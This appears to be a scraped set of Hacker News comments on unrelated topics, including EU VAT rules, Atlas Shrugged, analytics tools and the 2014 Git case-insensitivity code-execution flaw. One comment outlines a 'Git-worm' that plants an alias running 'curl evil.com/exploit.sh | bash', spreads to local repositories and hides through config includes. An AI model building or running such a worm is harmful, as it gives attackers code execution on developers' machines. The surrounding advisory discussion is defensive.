skysight-inc/HackerNews huggingface dataset:
I run a VAT Registered business and we had one notification of the change of place of supply - despite the fact that we already do cross-border sales and allow our customers in the EU who have a VAT number to deal with VAT under the existing reverse charge rules. So we knew about it, but could have easily missed it.

The people who didn't know about it are those it is the worst for. Small traders who were not VAT Registered. There is no reason why someone below the VAT threshold should be poking around in VAT legislation just in case it will suddenly apply to them. When I wrote this post (http://rachelandrew.co.uk/archives/2014/10/13/the-horrible-i...) in mid-October, there was next to nothing online, other than in a few PDFs from tax experts. Certainly nothing that would have alerted non VAT registered individuals selling a few knitting patterns and so on. To blame those people, and suggest they were sticking their head in the sand is wrong. They didn't know.
For us, this is looking like it won't be too bad after all. We have some kind of shell company or subsidiary or something like that in the UK that all our EU sales go through, and it is registered for VAT in the UK, so we just need to add MOSS registration. Right now, we just collect the 20% UK rate, but our backend was designed to handle different rates for different countries--I just need to add rows for each country to the tax table.

We already ask for a billing address when a customer orders, and record the IP address, and we already do a location lookup by IP address on our cart, so we'll just need to check that there is a match, and do something to deal with it if there is not. I expect there will mostly be matches.

I took a look at our existing customers. Only about 0.1% did not have an IP address on file that matched the country they gave for their billing address. Most of the ones that did not match had a telephone number on file, and the telephone number appeared to be in the country of their billing address.

That raises a question. Suppose a new customer orders online, giving France as their country. Their IP address is also in France, at least according to the ip => location database you have. That's two pieces of non-contradictory evidence for France, and so you are good to go.

Are those two pieces of evidence only good for that particular sale? If the customer comes back a few months later and purchases again, again giving a French billing address but this time coming from a German IP address, can I use the French IP address from the first order and the French billing address from this order as sufficient evidence to again charge French VAT?

The VAT is supposed to be for the place the customer permanently resides, so for instance if that customer lives in France but is on vacation in Germany I'm supposed to charge French VAT. Billing address is much less likely to change during a vacation than IP address, so a person with two orders with French billing, and one French IP and one German IP, is probably far more likely to be a French resident temporarily in Germany than someone who has moved to Germany.

So, from a logical, common sense point of view, I'm inclined toward going with the customer's stated billing address country if they have any IP addresses from that same country among their last few orders. Logical and common sense don't alway match the law, though.

Another question is how to handle telephone sales. No IP address on a telephone sales. Figure it out from their phone number? Ask them to go to their computer and go to a page of ours, enter a number that the salesperson tells them, and hit "submit", and get an IP from that?
Looking like a real hacker !== really hacking
It's worth noting something I picked up watching the "making of" of the Atlas movie a few years ago.

Rand apparently put out several subtle books on the subject previously but no one seemed to get the point. It was then she finally resorted to knocking you over the head with an over-the-top version.

I found the movie simplistic, but hearing that afterwards gave some perspective.
I'd argue that AI, or more specifically "soft computing" is still nascent. Not so much in the theory behind it, but in practical/everyday applications having access to enough computing resources to do anything with it.
"Let's not provoke them" is a survival strategy, not a winning strategy. I don't think mere survival is the goal here.
Time to order KY lubricant and the Sports Illustrated swimsuit edition delivered to a bathroom stall at SFO...

(if you don't remember Kozmo, this was done by a reporter during the last dotcom boom/bust as a joke)
Seeing this (and others like it), what's the benefit of having a tiling-only WM over a floating WM with tiling capabilities?
I used to doubt the need for conferences like this, when I was in college in a 6% female major. I had tons of male friends and was completely comfortable. But as I've gotten older and worked and become a mother, I've really started to appreciate the opportunities to meet technical women. It seems to me it's a socially different experience to be a woman in engineering than a man in engineering.

So perhaps some men sit around and use these conferences as an excuse to be chauvinistic, but the conference isn't for them, it's for women.

Though, ironically, last year I couldn't go because I didn't have a babysitter.
I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]:

> A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler.

It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor.

This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers.

[1] http://article.gmane.org/gmane.linux.kernel/1853266

edit: Upgrade ASAP!
5 CONTINUOUS LEARNING TIPS THAT WORKED FOR ME
> We have also completed an automated scan of all existing content on github.com to look for malicious content that might have been pushed to our site before this vulnerability was discovered

did they find any problems? The post doesn't say...
Ingenious Innovation: Biodegradable and Traceable Fishing Nets
The Dark Side of Google Play Store (for Android App Developers)
Silicon Startups Get Incubator
I don't think it is a contempt at the existence of UX. But when UX gets in the way of efficiency. Something like being able to wrap up a common task in a script, rather than having to constantly poke at that wizard with its 1001 next buttons.
This suggestion, in practice, would not stop Amazon and Google siphoning VAT money form around the EU through Luxembourg, Jersey or Ireland. If I settle in a country with low "digital VAT rate", I'll still hold an advantage over EU companies based elsewhere: I can charge lower prices, or I can charge regular prices and pocket the difference. This is exactly what happens today.
I like it. It reminds me of something like System Shock (2 is the one I played), where you learn about what happened on this ship before it was overrun by mutants from journals and such. Instead of a book, this may work well as a game of some sort. Perhaps even text-based?
You must not know much about NYC.

There are lots of hardcore dev jobs in New York. That's because all the finance guys use Sun Workstations. Someone has to write that code.

I have first-hand knowledge that the very highest-paid software development work to be found is writing quantitative investment code in C++ for Manhattan investment banks. I used to do that - but for a hedge fund in the Bahamas. As a result, Bloomberg, Solomon-Page and the like are all over me like a cheap suit.

I don't do that kind of work anymore as I came to regard it as unethical. If I do a good job, then my clients are taking money out of your retirement fund.
The CVE affects mercurial as well according to the 3.2.3 release notes.
This has to be a joke. Economically, Russia performed worse than Ukraine even with Putin invading Ukraine. Literally anyone would do better than Putin. A random person from the street would do better.
Under anti-trust law, it is illegal for a company to use their monopoly power in one business as a competitive edge in another separate market. Therefore, the entire argument turns on two things: (1) was Windows a monopoly (2) was IE an integral part of Windows (hence not a product competing in another market).

Since Windows, for all intents and purposes, was a monopoly, a huge part of the discussion was about whether IE was an integral part of the operating system and therefore MS actions were not to be considered as competition in a different market but simply innovation in the existing OS market. Applications like Calculator had been part of operating systems for well over a decade by then and no-one was shipping any OS without one so there really was not a basis for comparison. Browsers, however, were completely new. Netscape, the first widely adopted consumer grade browser, seemed to be doing very well as a stand-alone application. From today's point of view, you could argue that no operating system would ever ship without a browser but that was not clear at the time. A similar idea would be, in say 20 years, BitCoin lockers becoming an integral part of operating systems. Not obvious today, at least not to anyone outside the niche community of enthusiasts.

Clearly, the courts got it wrong, in that browsers are part of the OS today (just as much as the Calculator). However, MS' ability to put Netscape out of business really did slow innovation down overall for a really long time. It took a long time for the market to correct itself and have the better products win. In fact, it took another monopolist (Google) trying to protect its business in another market to come in and accelerate the pace of innovation.

TL,DR: Courts shouldn't be in the position of deciding technology vision. Not because they do not have noble intentions but because they do not have the expertise.
Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows.

Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...

There's an analogous vulnerability in Mercurial.

Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties.

EDIT: right, no "or", what are you doing reading this instead of updating?
To put things into perspective for those not familiar with the book, the character Francisco is supposed to one of the world's richest men having inherited a mining fortune from his conquistador ancestors. According to Rand's back-story, it's all down to the family lineage passing on genius from one generation to another and nothing at all to do with working slaves to death, as actually tended to happen in South American mines. It's not documented whether his ancestors asked permission from the indigenous population.

Atlas Shrugged is basically the reductio ad absurdum version of saner arguments for capitalism.
It's a very high priority, because there are things that transparently use Git and don't host all their repositories on Github. Update ASAP.
In every cell phone that can be legally sold in the United States, I'd assume, at the least. See CALEA: https://en.wikipedia.org/wiki/Communications_Assistance_for_...
Git-worm concept:

* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"

* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)

* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig
I started poking around w/ mitmproxy the other day as well, since I had started to get a little tired of waiting (Microsoft has promised an open API/SDK of some sort, but there haven't been any updates to any of the software since release) w/ similar results. (I did this against the iOS app).

So I'll just post a couple notes:

* auth appears to be using OAuth WRAP (deprecated as a spec, but Microsoft appears to use it for Live logins), so I'm sure could be pretty easily extracted for an API library

* As mentioned the API mostly talks to an endpoint on and the returns are gzipped JSON except for a PUT to prodwus0sts.blob.core.windows.net for the binary log of your actual data (there's a subsequent PUT that then sends the UploadId and some other metadata to the API server)

People have mentioned wanting to avoid sending your data to the cloud completely, and that should be completely possible. The easy way atm is that you could just mitm the endpoints and sync as normal w/ the app.

However, there are at least a couple of people that have successfully reverse-engineered the BTLE protocol, although I haven't seen anything fully published yet. This appears to mostly/primarly be based on digging through the Windows client's DLL.

Pic of source w/ some of the BT protocol:
https://twitter.com/JustinAngel/status/527955001436418048

Some BT functions:
https://twitter.com/JustinAngel/status/528383467742957571

Methods extracted from the dll:
https://twitter.com/JustinAngel/status/529876592479047682

(On OSX, strings gives you significantly less useful information, although apparently it was built by 'ianhowle' and there's a native Objective-C "CargoKit" library)

Note, there's one open source project that has theming and plans on building live sensor output: http://unband.nachmore.com/

And there's a closed source phone already that does access all the sensor data in realtime: http://www.windowsphone.com/en-us/store/app/band-sensor-moni...

I'm not too familiar with Windows Phone, but I believe you can access and decompile an unencrypted XAP if you have a rooted Windows Phone to see what it's doing.

I don't really have much experience/use/access to Windows stuff in general, but for someone w/ that kind of experience, I can't imagine it being very hard to deconstruct.
Homebrew just updated (https://github.com/Homebrew/homebrew/pull/35105), so Homebrew users should be covered by

brew update && brew upgrade git
Ask HN: Who is the legendary linux@horizon.com on the LKML?
A while ago, a friend pointed out some of the kernel contributions of someone only known by their email address "linux@horizon.com" (and sometimes .net)

Among their notable contributions was this improvement to the SHA1 function in PPC assembly... developed without access to the hardware. "It assembles, but I can't test it." http://www.gelato.unsw.edu.au/archives/git/0504/1753.html

Amusingly, some google searching will uncover the name "George Spelvin"... which turns out to be a classical pseudonym. Of course

So, HN, what are your fan or conspiracy theories of who, or what, linux@horizon.com is?
Lose the /or. Update no matter what.
It's not only about the "pull" over merit as you state it but about politically established priorities that harm good businesses. Just as the US cloud business was harmed by the NSA when national security (and intl. espionage) was put above competitiveness.

Those political priorities still come from "Washington" and rule over NY (or Silicon Valley). Both cities are meant within context of the book.
A nice look into how it might feel to be connected to a tradition many generations old. Must feel suffocating.
Urbantech Trends in 2015
Safe way to upload files to Dropbox from an untrusted computer
Scratching head on what the long term goal of this experiment was... (more 3D printing PR?)

Seems like using this manufacturing approach would be a very tough sell for any real mission.

Only benefit of 3D printing at your destination is the ability to manufacture something that was overlooked, so contingency planning. (yea, yea, someday we'll mine the printable materials on site, right...)

For just about any other item that you know you need, it would be much more weight-effective (the golden measure in launch considerations) to just build the part here on earth, where you can maximize specific density and specific strength using materials that 3D printing can't touch. Plus you aren't lugging around a heavy 3D printer + raw materials.
I think it's straightforward: a Dallas theater decided to get Team America to play as a middle finger to the terrorists, and Paramount decided that suddenly getting the focus from all this would be a horrible, horrible idea. So they ran.
And that’s a swing and a miss. Axioms might include input from observations. "If I observe X then the gods are pleased." Followed by a lot of meaningless but perfectly logical thought.

Side stepping that, from a pure logic standpoint you can reason about philosophies independent from reality. But, with nothing actually connecting them to physical reality the value of such effort is basically just aesthetic in nature. "TRUTH is ..."
Congrats to Mixpanel on the raise. I have heard many great things from them and used them at a previous company. They've done a great job of making it a no-brainer for startups to start using more advanced analytics tools (not just Google Analytics) from day 1. I think we're all better off for the ability it gives product developers to improve their product based on actual usage--since it means the overall quality of products is far better than if vanity metrics drove all product decisions.

I noticed they mentioned Heap Analytics (https://heapanalytics.com/) as one of their competitors. We've been using Heap for over a year and it seems like the logical and magical next step in analytics. Mixpanel gave you smarter analytics on things you had the foresight to track, but Heap automatically tracks everything from the day you integrate it. That means you can get smart analytics even on things you didn't have the clairvoyance to start tracking 6 months ago, or didn't have the resources to insert tracking code in.

For startups, Heap's automatic and retroactive tracking is huge. It means we can iterate on product features and marketing/outreach schemes way more quickly while still getting insight into what's successful and what's not. It's not perfect--a couple times we've added special class names to our HTML elements so Heap can distinguish them, but that's still easier than adding manual tracking code--but it's a huge improvement over the old way.

I noticed Heap has a page comparing themselves with Mixpanel (https://heapanalytics.com/compare/heap-vs-mixpanel) but I don't see anything similar from Mixpanel's POV. I'd be curious to hear what Mixpanel's plans are in this area (automatic/retroactive tracking).
http://tapestryjava.blogspot.com/2003/09/excellent-discourse...

https://mail-archives.apache.org/mod_mbox/tapestry-users/200...

http://vschart.com/compare/apache-tapestry/vs/webobjects

http://tapestry.apache.org/
How to be an awesome developer
In Ben Rich's book, he gives a couple of examples. First, one with a proposal for a design of a stealth submarine, and then second, another example of an actual prototype of a stealth ship that underwent a year of testing (in which it performed admirably) before being rejected.

Here's a telling excerpt from the submarine adventure:

> That submarine captain epitomized the hidebound Navy at its worst. He frowned at my drawing and backhanded my concept. "We don't build submarines that look like that." He admitted that our test results were "interesting" but added, "Your design would probably cost us two or three knots in speed." I countered, "But why care about losing three knots, when you are invisible to your enemy?"

>

> He ignored me. "This looks more like the _Monitor_ or the _Merrimac_ from the Civil War," he said. "We'd never build a modern submarine that looked like _that_." [1]

Then there was the full-scale testing of a stealth ship in which nightly tests were made with the Navy trying to detect the prototype with radar, and virtually always failing. Eventually the Navy decided not to go ahead, on the grounds that they couldn't keep it secret. Rich also speculated on motivations:

> A future commander resented having only a four-man crew to boss around on a ship that was so secret that the Navy could not even admit it existed. Our stealth ship might be able to blast out of the sky a sizeable Soviet attack force, but in terms of an officer's future status and promotion prospects, it was about as glamorous as commanding a tugboat. [2]

[1] p272-273, Skunk Works by Ben Rich

[2] p278, Skunk Works by Ben Rich
Make sure you're not using Apple Git (/usr/bin/git); I renamed mine.
Yea. I have managed to develop confidence over the years. Despite the fact that I continue to obsess over hair, perfume, lots of makeup and fancy clothes, every time I go to code or work on something hard, I remember who I am. I'm the kid who spent hours pouring over numerical patterns and graphs after I learned about prime numbers. I'm the kid who grew up playing titles like "the logical zoombinis", " the incredible machine" and "treasure math storm". I had chemistry kits and microscopes, and I hacked my tamagotchis, neopets, and PC games with whatever I could figure out. These are the things that help me, when I stand in front of my wrote board, alone, trying to teach myself category theory while mashing together MVCs and relational databases in order to have a formalized way of reasoning no matter what systems I exist in. I at least have demonstrated to myself so far that set theory is useful for development.

This stuff just makes me feel like I might one day achieve my goal of being 'crazy genius'. I hate when I let culture make me feel like I don't even fit into that group of people, just because I don't look like them.
Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)
Vicent Marti (from GitHub) states: "In case it's not obvious from the post: There are no malicious repos in @github and they can't be pushed anymore. Update your Git anyway."

https://twitter.com/vmg/status/545693913491984385
Lol. I totally agree with you, I think we just have a different definition of "lots of money". To me (at least at that time) $2,500 was more money than I had ever seen or had in my bank account.
A Complete List of .Gov Domains
I will try to update the wiki of our github repo soon with the additional options.
Hot Cloud Swap: Migrating a Database Cluster with Zero Downtime
Android bitmap performance
The message was not indeed directly at you but more for new comers in the programming world. Just to remind them that without the hard work part, they'll end up doing small tricks at dinner. They can't expect to run the show in Vegas. And yes I feel very alike Gandalf some day, summoning intruders: you shall not pass!
Allow me to highjack the thread. If you happen to be an expert in Textmate/Sublime/Atom language grammars and know how to handle multiline comments, I am very interested in hearing about it. More details here:

http://stackoverflow.com/questions/27460207/matching-nested-...
I don't know about Parse, but Flurry and GA track on an aggregate basis, not user basis. Mixpanel (or KISSMetrics) are good solutions to track data per user basis and a lot more in-depth tracking. Flurry tracks retention, but it is not very extensive. I don't think GA tracks retention. Mixpanel does a good job of looking at retention metrics and deep dive.

Mixpanel can certainly be a lot better in data visualization/reporting features and pricing.